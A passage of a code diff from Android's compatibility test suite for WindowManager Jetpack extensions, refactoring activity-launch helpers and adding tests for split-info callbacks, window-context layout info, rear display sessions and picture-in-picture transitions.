           android:targetSandboxVersion="2">
 
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+
     <application android:label="CtsWindowManagerJetpackTestCases">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="androidx.window.extensions"
@@ -27,6 +29,7 @@
                       android:required="false" />
         <activity android:name="android.server.wm.jetpack.utils.TestActivity" />
         <activity android:name="android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity"
+                  android:supportsPictureInPicture="true"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
         />
         <activity android:name="android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity" />
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
index 8caa0de..0d4a357 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
@@ -22,6 +22,7 @@
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertNotVisible;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitForFillsTask;
+import static android.server.wm.jetpack.utils.TestActivityLauncher.KEY_ACTIVITY_ID;
 
 import static org.junit.Assert.assertTrue;
 
@@ -225,6 +226,6 @@
         }
         return primaryActivityId.equals(((TestActivityWithId) activityIntentPair.first).getId())
                 && secondaryActivityId.equals(activityIntentPair.second.getStringExtra(
-                        ACTIVITY_ID_LABEL));
+                KEY_ACTIVITY_ID));
     }
 }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java
index f4fa70c..e017d65 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingFinishTests.java
@@ -97,8 +97,7 @@
         SplitPairRule splitPairRule = createWildcardSplitPairRule();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
 
-        TestActivity primaryActivity = (TestActivityWithId)
-                startActivityNewTask(TestActivityWithId.class);
+        TestActivity primaryActivity = startActivityNewTask(TestActivityWithId.class);
         TestActivity secondaryActivity = (TestActivity) startActivityAndVerifySplit(primaryActivity,
                 TestActivityWithId.class, splitPairRule, "secondaryActivity", mSplitInfoConsumer);
 
@@ -359,8 +358,8 @@
             mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
 
             // Launch the two activities
-            TestActivity primaryActivity = (TestActivity)
-                    startActivityNewTask(TestConfigChangeHandlingActivity.class);
+            TestActivity primaryActivity = startActivityNewTask(
+                    TestConfigChangeHandlingActivity.class);
             TestActivity secondaryActivity;
             if (mShouldPreventSideBySideActivities) {
                 secondaryActivity = startActivityAndVerifyNotSplit(primaryActivity);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
index b2448b7..ea6f21a 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
@@ -18,10 +18,12 @@
 
 import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.EMBEDDED_ACTIVITY_ID;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifyNoCallback;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertResumed;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeVendorApiLevelAtLeast;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
 
@@ -74,8 +76,8 @@
      */
     @Test
     public void testDisplayFeaturesWithEmbedding() throws Exception {
-        TestConfigChangeHandlingActivity primaryActivity = (TestConfigChangeHandlingActivity)
-                startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        TestConfigChangeHandlingActivity primaryActivity = startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
         WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(primaryActivity);
         assumeHasDisplayFeatures(windowLayoutInfo);
 
@@ -116,6 +118,33 @@
     }
 
     /**
+     * Tests that clearing the split info consumer stops notifying unregistered consumer.
+     */
+    @Test
+    public void testClearSplitInfoCallback() throws Exception {
+        assumeVendorApiLevelAtLeast(2); // TODO(b/244450254): harden the requirement in U.
+        mActivityEmbeddingComponent.clearSplitInfoCallback();
+        TestConfigChangeHandlingActivity primaryActivity = startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
+
+        // Launch a second activity in a split. Use a very small split ratio, so that the secondary
+        // activity occupies most of the screen.
+        SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityActivityPair -> true,
+                activityIntentPair -> true,
+                windowMetrics -> true
+        )
+                .setSplitRatio(0.1f)
+                .build();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        startActivityAndVerifyNoCallback(primaryActivity,
+                TestActivityWithId.class,
+                "secondaryActivity" /* secondActivityId */,
+                mSplitInfoConsumer);
+    }
+
+    /**
      * Tests that display features are still reported when using ActivityEmbedding. Same as above,
      * but using different packages for the host and embedded activities.
      * Fixed in CL: If2dbc337c4b8cb909914cc28ae4db28a82ff9de3
@@ -123,8 +152,8 @@
     @Test
     public void testDisplayFeaturesWithEmbedding_differentPackage() throws Exception {
         // Start an activity to collect the window layout info.
-        TestConfigChangeHandlingActivity initialActivity = (TestConfigChangeHandlingActivity)
-                startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        TestConfigChangeHandlingActivity initialActivity = startActivityNewTask(
+                TestConfigChangeHandlingActivity.class);
         WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(initialActivity);
         assumeHasDisplayFeatures(windowLayoutInfo);
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
index 0a105cf..e367704 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
@@ -22,6 +22,7 @@
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertFinishing;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertNotResumed;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertResumed;
+import static android.server.wm.jetpack.utils.TestActivityLauncher.KEY_ACTIVITY_ID;
 
 import static androidx.window.extensions.embedding.SplitRule.FINISH_NEVER;
 
@@ -319,7 +320,7 @@
         public SplitPlaceholderRule build() {
             // Create placeholder activity intent
             Intent placeholderIntent = new Intent(mContext, TestActivityWithId.class);
-            placeholderIntent.putExtra(ACTIVITY_ID_LABEL, mPlaceholderActivityId);
+            placeholderIntent.putExtra(KEY_ACTIVITY_ID, mPlaceholderActivityId);
 
             // Create {@link SplitPlaceholderRule} that launches the placeholder in a split with the
             // target primary activity.
@@ -329,7 +330,8 @@
                                     && mPrimaryActivityId.equals(((TestActivityWithId) activity)
                                     .getId()) /* activityPredicate */,
                             intent -> mPrimaryActivityId.equals(
-                                    intent.getStringExtra(ACTIVITY_ID_LABEL)) /* intentPredicate */,
+                                    intent.getStringExtra(KEY_ACTIVITY_ID)
+                            ) /* intentPredicate */,
                     mParentWindowMetricsPredicate)
                     .setSplitRatio(DEFAULT_SPLIT_RATIO);
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
index 8bdc309..5956402 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPolicyTests.java
@@ -16,6 +16,8 @@
 
 package android.server.wm.jetpack;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
 import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
@@ -23,7 +25,6 @@
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityNewTask;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityOnDisplaySingleTop;
 import static android.view.Display.DEFAULT_DISPLAY;
 
@@ -43,6 +44,7 @@
 import android.server.wm.NestedShellPermission;
 import android.server.wm.WindowManagerState;
 import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
+import android.server.wm.jetpack.utils.TestActivityLauncher;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 
 import androidx.annotation.NonNull;
@@ -51,6 +53,8 @@
 import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
 import androidx.window.extensions.embedding.SplitPairRule;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -94,6 +98,8 @@
      * Verifies that all input is dropped for activities that are embedded and being animated with
      * untrusted embedding.
      */
+    @ApiTest(apis = {"com.android.server.wm.ActivityRecord#setDropInputForAnimation",
+            "androidx.window.extensions.embedding.ActivityEmbeddingComponent#setEmbeddingRules"})
     @Test
     public void testInputDuringAnimationIsNotAllowed_untrustedEmbedding() {
         // TODO(b/207070762): remove the test when cleanup legacy app transition
@@ -101,8 +107,11 @@
         // to app.
         assumeFalse(ENABLE_SHELL_TRANSITIONS);
 
-        Activity primaryActivity = startActivityNewTask(mContext, mInstrumentation,
-                TestConfigChangeHandlingActivity.class, null /* activityId */);
+        Activity primaryActivity = new TestActivityLauncher<>(mContext,
+                TestConfigChangeHandlingActivity.class)
+                .addIntentFlag(FLAG_ACTIVITY_NEW_TASK)
+                .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                .launch(mInstrumentation);
 
         SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
index 1e3a85f..d479e6e 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionRearDisplayTest.java
@@ -118,7 +118,7 @@
         mDeviceStateManager.registerCallback(Runnable::run, this);
         mWindowAreaComponent.addRearDisplayStatusListener(mStatusListener);
         unlockDeviceIfNeeded();
-        mActivity = (TestRearDisplayActivity) startActivityNewTask(TestRearDisplayActivity.class);
+        mActivity = startActivityNewTask(TestRearDisplayActivity.class);
         waitAndAssert(() -> mWindowAreaStatus != null);
     }
 
@@ -192,12 +192,14 @@
             "androidx.window.extensions.area.WindowAreaComponent#startRearDisplaySession",
             "androidx.window.extensions.area.WindowAreaComponent#endRearDisplaySession"})
     @Test
-    public void testStartAndEndRearDisplaySession() {
+    public void testStartAndEndRearDisplaySession() throws Throwable {
         assumeTrue(mWindowAreaStatus == WindowAreaComponent.STATUS_AVAILABLE);
         assumeTrue(mCurrentDeviceState != mRearDisplayState);
 
         mActivity.mConfigurationChanged = false;
-        mWindowAreaComponent.startRearDisplaySession(mActivity, mSessionStateListener);
+        // Running with CONTROL_DEVICE_STATE permission to bypass educational overlay
+        DeviceStateUtils.runWithControlDeviceStatePermission(() ->
+                mWindowAreaComponent.startRearDisplaySession(mActivity, mSessionStateListener));
         waitAndAssert(() -> mActivity.mConfigurationChanged);
         assertTrue(mWindowAreaSessionState != null
                         && mWindowAreaSessionState == WindowAreaComponent.SESSION_STATE_ACTIVE);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
index cca5f16..337749c 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -18,11 +18,14 @@
 
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+import static android.server.wm.jetpack.utils.ExtensionUtil.EXTENSION_VERSION_2;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assertEqualWindowLayoutInfo;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
+import static android.server.wm.jetpack.utils.ExtensionUtil.isExtensionVersionAtLeast;
 import static android.server.wm.jetpack.utils.SidecarUtil.assumeSidecarSupportedDevice;
 import static android.server.wm.jetpack.utils.SidecarUtil.getSidecarInterface;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static androidx.window.extensions.layout.FoldingFeature.STATE_FLAT;
 import static androidx.window.extensions.layout.FoldingFeature.STATE_HALF_OPENED;
@@ -33,17 +36,27 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
 
+import android.content.Context;
 import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.jetpack.utils.TestActivity;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
 import android.server.wm.jetpack.utils.TestValueCountConsumer;
 import android.server.wm.jetpack.utils.WindowExtensionTestRule;
 import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.FlakyTest;
 import androidx.test.filters.LargeTest;
 import androidx.window.extensions.layout.DisplayFeature;
 import androidx.window.extensions.layout.FoldingFeature;
@@ -52,6 +65,8 @@
 import androidx.window.sidecar.SidecarDisplayFeature;
 import androidx.window.sidecar.SidecarInterface;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import com.google.common.collect.BoundType;
 import com.google.common.collect.Range;
 
@@ -92,13 +107,37 @@
         super.setUp();
         mWindowLayoutComponent =
                 (WindowLayoutComponent) mWindowExtensionTestRule.getExtensionComponent();
-        mActivity = (TestActivity) startActivityNewTask(TestActivity.class);
+        assumeNotNull(mWindowLayoutComponent);
+        mActivity = startActivityNewTask(TestActivity.class);
+    }
+
+    private Context createContextWithNonActivityWindow() {
+        Display defaultDisplay = mContext.getSystemService(DisplayManager.class).getDisplay(
+                DEFAULT_DISPLAY);
+        Context windowContext = mContext.createWindowContext(defaultDisplay,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null);
+
+        mInstrumentation.runOnMainSync(() -> {
+            final View view = new View(windowContext);
+            WindowManager wm = windowContext.getSystemService(WindowManager.class);
+            WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY);
+            wm.addView(view, params);
+        });
+        return windowContext;
+    }
+
+    private void assumeExtensionVersionSupportsWindowContextLayout() {
+        assumeTrue("This test should only be run on devices with version: ",
+                isExtensionVersionAtLeast(EXTENSION_VERSION_2));
     }
 
     /**
      * Test adding and removing a window layout change listener.
      */
     @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener"})
     public void testWindowLayoutComponent_onWindowLayoutChangeListener() throws Exception {
         // Set activity to portrait
         setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
@@ -109,29 +148,36 @@
         // removed.
         TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
                 new TestValueCountConsumer<>();
-        windowLayoutInfoConsumer.setCount(2);
+        windowLayoutInfoConsumer.setCount(1);
 
         // Add window layout listener for mWindowToken - onWindowLayoutChanged should be called
         mWindowLayoutComponent.addWindowLayoutInfoListener(mActivity, windowLayoutInfoConsumer);
+        // Initial registration invokes a consumer callback synchronously, clear the queue to
+        // make sure there's no residual value or from the first orientation change.
+        windowLayoutInfoConsumer.clearQueue();
 
         // Change the activity orientation - onWindowLayoutChanged should be called
         setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
                 ORIENTATION_LANDSCAPE);
 
+        // Check we have received exactly one layout update.
+        assertNotNull(windowLayoutInfoConsumer.waitAndGet());
+
         // Remove the listener
         mWindowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
+        windowLayoutInfoConsumer.clearQueue();
 
         // Change the activity orientation - onWindowLayoutChanged should NOT be called
         setActivityOrientationActivityDoesNotHandleOrientationChanges(mActivity,
                 ORIENTATION_PORTRAIT);
-
-        // Check that the countdown is zero
         WindowLayoutInfo lastValue = windowLayoutInfoConsumer.waitAndGet();
-        assertNotNull(lastValue);
+        assertNull(lastValue);
     }
 
     @Test
-    public void testWindowLayoutComponent_WindowLayoutInfoListener() {
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener"})
+    public void testWindowLayoutComponent_windowLayoutInfoListener() {
         TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
                 new TestValueCountConsumer<>();
         // Test that adding and removing callback succeeds
@@ -139,8 +185,9 @@
         mWindowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
     }
 
+    @ApiTest(apis = {"androidx.window.extensions.layout.WindowLayoutInfo#getDisplayFeatures"})
     @Test
-    public void testDisplayFeatures()
+    public void testWindowLayoutComponent_providesWindowLayoutFromActivity()
             throws ExecutionException, InterruptedException, TimeoutException {
         mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
         assumeHasDisplayFeatures(mWindowLayoutInfo);
@@ -170,14 +217,56 @@
     }
 
     @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutInfo#getDisplayFeatures"})
+    public void testWindowLayoutComponent_providesWindowLayoutFromWindowContext()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        assumeExtensionVersionSupportsWindowContextLayout();
+        Context windowContext = createContextWithNonActivityWindow();
+
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(windowContext);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+
+        // Verify that window layouts and metrics are reasonable.
+        WindowManager mWm = windowContext.getSystemService(WindowManager.class);
+        final WindowMetrics currentMetrics = mWm.getCurrentWindowMetrics();
+
+        for (DisplayFeature displayFeature : mWindowLayoutInfo.getDisplayFeatures()) {
+            final Rect featureRect = displayFeature.getBounds();
+            assertHasNonNegativeDimensions(featureRect);
+            assertNotBothDimensionsZero(featureRect);
+            assertTrue(currentMetrics.getBounds().contains(featureRect));
+        }
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener"})
+    public void testWindowLayoutComponent_windowLayoutMatchesBetweenActivityAndWindowContext()
+            throws ExecutionException, InterruptedException, TimeoutException {
+        assumeExtensionVersionSupportsWindowContextLayout();
+        Context windowContext = createContextWithNonActivityWindow();
+
+        WindowLayoutInfo windowLayoutInfoFromContext = getExtensionWindowLayoutInfo(windowContext);
+
+        TestConfigChangeHandlingActivity configHandlingActivity = startFullScreenActivityNewTask(
+                        TestConfigChangeHandlingActivity.class, null);
+        WindowLayoutInfo windowLayoutInfoFromActivity = getExtensionWindowLayoutInfo(
+                configHandlingActivity);
+
+        assertEquals(windowLayoutInfoFromContext, windowLayoutInfoFromActivity);
+    }
+
+    @ApiTest(apis = {"androidx.window.extensions.layout.WindowLayoutInfo#getDisplayFeatures"})
+    @Test
     public void testGetWindowLayoutInfo_configChanged_windowLayoutUpdates()
             throws ExecutionException, InterruptedException, TimeoutException {
+        assumeSupportsRotation();
         mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
         assumeHasDisplayFeatures(mWindowLayoutInfo);
 
-        TestConfigChangeHandlingActivity configHandlingActivity
-                = (TestConfigChangeHandlingActivity) startActivityNewTask(
-                TestConfigChangeHandlingActivity.class);
+        TestConfigChangeHandlingActivity configHandlingActivity = startFullScreenActivityNewTask(
+                        TestConfigChangeHandlingActivity.class, null);
 
         setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
                 ORIENTATION_PORTRAIT);
@@ -199,9 +288,75 @@
                 portraitBounds, landscapeBounds, doesDisplayRotateForOrientation);
     }
 
+    @ApiTest(apis = {"androidx.window.extensions.layout.WindowLayoutInfo#getDisplayFeatures"})
     @Test
+    public void testGetWindowLayoutInfo_enterExitPip_windowLayoutInfoMatches()
+            throws InterruptedException {
+        mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
+        assumeHasDisplayFeatures(mWindowLayoutInfo);
+
+        TestConfigChangeHandlingActivity configHandlingActivity = startActivityNewTask(
+                        TestConfigChangeHandlingActivity.class, null);
+
+        final WindowLayoutInfo initialInfo = getExtensionWindowLayoutInfo(
+                configHandlingActivity);
+
+        enterPipActivityHandlesConfigChanges(configHandlingActivity);
+        exitPipActivityHandlesConfigChanges(configHandlingActivity);
+
+        final WindowLayoutInfo updatedInfo = getExtensionWindowLayoutInfo(
+                configHandlingActivity);
+
+        assertEquals(initialInfo, updatedInfo);
+    }
+
+    /*
+     * Similar to #testGetWindowLayoutInfo_configChanged_windowLayoutUpdates, here we trigger
+     * rotations with a full screen activity on one Display Area, verify that WindowLayoutInfo
+     * are updated with callbacks.
+     */
+    @FlakyTest(bugId = 254056760)
+    @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener",
+            "androidx.window.extensions.layout.WindowLayoutComponent#removeWindowLayoutInfoListener"
+    })
+    public void testWindowLayoutComponent_updatesWindowLayoutFromContextAfterRotation()
+            throws InterruptedException {
+        assumeExtensionVersionSupportsWindowContextLayout();
+        assumeSupportsRotation();
+
+        Context windowContext = createContextWithNonActivityWindow();
+
+        TestConfigChangeHandlingActivity configHandlingActivity = startFullScreenActivityNewTask(
+                        TestConfigChangeHandlingActivity.class, null);
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_PORTRAIT);
+
+        WindowLayoutInfo firstWindowLayout = getExtensionWindowLayoutInfo(configHandlingActivity);
+        final Rect firstBounds = getActivityBounds(configHandlingActivity);
+        final Rect firstMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        setActivityOrientationActivityHandlesOrientationChanges(configHandlingActivity,
+                ORIENTATION_LANDSCAPE);
+
+        WindowLayoutInfo secondWindowLayout = getExtensionWindowLayoutInfo(configHandlingActivity);
+        final Rect secondBounds = getActivityBounds(configHandlingActivity);
+        final Rect secondMaximumBounds = getMaximumActivityBounds(configHandlingActivity);
+
+        final boolean doesDisplayRotateForOrientation = doesDisplayRotateForOrientation(
+                firstMaximumBounds, secondMaximumBounds);
+        assertEqualWindowLayoutInfo(firstWindowLayout, secondWindowLayout,
+                firstBounds, secondBounds, doesDisplayRotateForOrientation);
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "androidx.window.extensions.layout.WindowLayoutComponent#addWindowLayoutInfoListener"})
     public void testGetWindowLayoutInfo_windowRecreated_windowLayoutUpdates()
             throws ExecutionException, InterruptedException, TimeoutException {
+        assumeSupportsRotation();
         mWindowLayoutInfo = getExtensionWindowLayoutInfo(mActivity);
         assumeHasDisplayFeatures(mWindowLayoutInfo);
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
index ddd63a7..f30a7d4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/SidecarTest.java
@@ -174,8 +174,7 @@
 
         // The value is verified inside TestGetWindowLayoutInfoActivity
         TestGetWindowLayoutInfoActivity.resetResumeCounter();
-        TestGetWindowLayoutInfoActivity testGetWindowLayoutInfoActivity
-                = (TestGetWindowLayoutInfoActivity) startActivityNewTask(
+        TestGetWindowLayoutInfoActivity testGetWindowLayoutInfoActivity = startActivityNewTask(
                         TestGetWindowLayoutInfoActivity.class);
 
         // Make sure the activity has gone through all states.
@@ -187,8 +186,7 @@
     public void testGetWindowLayoutInfo_configChanged_windowLayoutUpdates() {
         assumeHasDisplayFeatures(mSidecarInterface, mWindowToken);
 
-        TestConfigChangeHandlingActivity configHandlingActivity
-                = (TestConfigChangeHandlingActivity) startActivityNewTask(
+        TestConfigChangeHandlingActivity configHandlingActivity = startActivityNewTask(
                 TestConfigChangeHandlingActivity.class);
         SidecarInterface sidecar = getSidecarInterface(configHandlingActivity);
         assertThat(sidecar).isNotNull();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
index fce9ac2..fd14846 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/WindowExtensionsImplTest.java
@@ -16,7 +16,7 @@
 
 package android.server.wm.jetpack;
 
-import static android.server.wm.jetpack.utils.ExtensionUtil.MINIMUM_STABLE_EXTENSION_VERSION;
+import static android.server.wm.jetpack.utils.ExtensionUtil.EXTENSION_VERSION_1;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionVersion;
 
@@ -46,6 +46,6 @@
     @Test
     public void testVerifiesExtensionVendorApiLevel() {
         assumeExtensionSupportedDevice();
-        assertTrue(getExtensionVersion().compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0);
+        assertTrue(getExtensionVersion().compareTo(EXTENSION_VERSION_1) >= 0);
     }
 }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
index 477cc8d..1e2c1d7 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -27,6 +27,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
@@ -163,6 +164,21 @@
         return secondaryActivity;
     }
 
+    public static void startActivityAndVerifyNoCallback(@NonNull Activity activityLaunchingFrom,
+            @NonNull Class secondActivityClass, @NonNull String secondaryActivityId,
+            @NonNull TestValueCountConsumer<List<SplitInfo>> splitInfoConsumer) throws Exception {
+        // We expect the actual count to be 0. Set to 1 to trigger the timeout and verify no calls.
+        splitInfoConsumer.setCount(1);
+
+        // Start second activity
+        startActivityFromActivity(activityLaunchingFrom, secondActivityClass, secondaryActivityId);
+
+        // A split info callback should occur after the new activity is launched because the split
+        // states have changed.
+        List<SplitInfo> activeSplitStates = splitInfoConsumer.waitAndGet();
+        assertNull("Received SplitInfo value but did not expect none.", activeSplitStates);
+    }
+
     public static Activity startActivityAndVerifySplit(@NonNull Activity primaryActivity,
